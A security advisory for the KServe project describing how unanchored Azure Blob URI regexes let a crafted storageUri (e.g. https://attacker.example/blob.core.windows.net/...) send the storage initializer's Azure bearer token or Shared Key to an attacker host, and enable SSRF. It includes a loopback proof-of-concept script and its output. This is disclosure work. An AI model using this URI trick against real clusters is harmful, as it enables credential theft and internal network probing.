Unanchored Azure Blob/File URI patterns let a storageUri route the storage initializer — and its Azure AD token — to an attacker-controlled host
Affected repository: kserve/kserve
Observed HEAD: 117261274eb0f7cd76e25b05928cc9b8553a531d
Sink: python/storage/kserve_storage/kserve_storage.py:1126 in _parse_azure_uri
Observed verdict: reproduced dynamically against the latest default branch
Summary
An attacker who can set a model storageUri can embed the Azure hostname suffix in the path of an arbitrary HTTPS URL. KServe's unanchored regular expression classifies the value as Azure storage, while _parse_azure_uri uses the attacker's actual authority as the SDK endpoint. The real Azure client then sends a storage-scoped bearer token or Shared Key authorization to that endpoint; without credentials, the same mismatch provides server-side requests to attacker-selected hosts.
Detail
Storage.download dispatches to the Azure blob handler using re.search against https://(.+?).blob.core.windows.net/(.+) (python/storage/kserve_storage/kserve_storage.py:52,218). Because re.search is unanchored, https://attacker.example/blob.core.windows.net/container/prefix satisfies the Azure classifier. _parse_azure_uri independently derives account_url from urlparse(uri).netloc (kserve_storage.py:1123-1136), producing https://attacker.example. The classifier and the network destination therefore come from different portions of the same attacker-controlled URI.
A storageUri such as https://attacker.tld/blob.core.windows.net/x passes dispatch, and _parse_azure_uri builds account_url = "https://attacker.tld". That is handed to BlobServiceClient together with the credential from _get_azure_storage_token() (kserve_storage.py:928), so azure-core's BearerTokenCredentialPolicy attaches Authorization: Bearer <token> — scope https://storage.azure.com/.default — to the outbound list_blobs request. The attacker's server receives a live Azure AD token for the organisation's storage.
The credential can come from AZURE_CLIENT_ID/AZURE_CLIENT_SECRET, workload or managed identity, or AZURE_STORAGE_ACCESS_KEY. These credentials commonly belong to the storage-initializer pod rather than the namespace user who supplies the model URI. A captured bearer token carries the https://storage.azure.com/.default scope observed below; its effective access is whatever Azure roles were granted to that identity.
Two distinct impacts fall out of the same defect:
- Credential exfiltration (the above), when Azure credentials are configured — a Shared Key HMAC signature leaks the same way via
AZURE_STORAGE_ACCESS_KEY. - Server-side request forgery, even with no credential at all: the initializer issues requests from inside the cluster to any host and port reachable on the pod network, under the guise of an "Azure" URI.
The Go-side admission check does not stop the mismatch: pkg/controller/v1beta1/inferenceservice/utils/utils.go:433-437 uses the same unanchored FindStringSubmatch plus a strings.Contains test, and https:// is accepted as a storage prefix. Exploitation requires permission to set a storage URI and egress from the storage-initializer pod to the selected host. Credential disclosure additionally requires Azure credentials to be available to that pod; plain SSRF does not.
Reproduce
This starts a loopback TLS listener and invokes KServe's real Azure download path. The Azure SDK's normal network transport connects to the listener and sends the prepared request. Only token acquisition is replaced with a constant non-secret proof token; KServe's URI parsing and dispatch and the Azure client's authentication policy and transport remain unchanged:
git clone --depth 1 https://github.com/kserve/kserve.git kserve-repro
cd kserve-repro/python/storage
git rev-parse HEAD
uv sync --python 3.13
cert_dir=$(mktemp -d)
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
-subj '/CN=127.0.0.1' -addext 'subjectAltName=IP:127.0.0.1' \
-keyout "$cert_dir/key.pem" -out "$cert_dir/cert.pem" >/dev/null 2>&1
CERT_DIR="$cert_dir" PYTHONPATH=. uv run python - <<'PY'
import asyncio
import os
import ssl
import tempfile
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
from azure.core.credentials import AccessToken
from kserve_storage import Storage
observed = {}
class Credential:
async def get_token(self, *scopes, **kwargs):
observed["scopes"] = scopes
return AccessToken("PROOF_AZURE_BEARER_TOKEN", int(time.time()) + 3600)
async def close(self): pass
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
observed["path"] = self.path
observed["authorization"] = self.headers.get("Authorization")
self.send_response(403)
self.send_header("Content-Type", "application/xml")
self.end_headers()
self.wfile.write(b"<Error><Code>ProofComplete</Code></Error>")
def log_message(self, *_): pass
cert_dir = os.environ["CERT_DIR"]
server = HTTPServer(("127.0.0.1", 18443), Handler)
tls = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
tls.load_cert_chain(f"{cert_dir}/cert.pem", f"{cert_dir}/key.pem")
server.socket = tls.wrap_socket(server.socket, server_side=True)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
os.environ["SSL_CERT_FILE"] = f"{cert_dir}/cert.pem"
os.environ["NO_PROXY"] = "127.0.0.1"
Storage._get_azure_storage_token = staticmethod(Credential)
Storage._get_azure_storage_access_key = staticmethod(lambda: None)
uri = "https://127.0.0.1:18443/blob.core.windows.net/container/prefix"
with tempfile.TemporaryDirectory() as out_dir:
try:
asyncio.run(Storage._download_azure_blob_async(uri, out_dir))
except Exception:
pass
server.shutdown()
thread.join()
print(f"uri={uri}")
for key, value in observed.items(): print(f"{key}={value}")
assert observed["authorization"] == "Bearer PROOF_AZURE_BEARER_TOKEN"
PY
Observed at 117261274eb0f7cd76e25b05928cc9b8553a531d:
uri=https://127.0.0.1:18443/blob.core.windows.net/container/prefix
scopes=('https://storage.azure.com/.default',)
path=/blob.core.windows.net?restype=container&comp=list&prefix=container/prefix
authorization=Bearer PROOF_AZURE_BEARER_TOKEN
Credit
Zheng Yu @ Depthfirst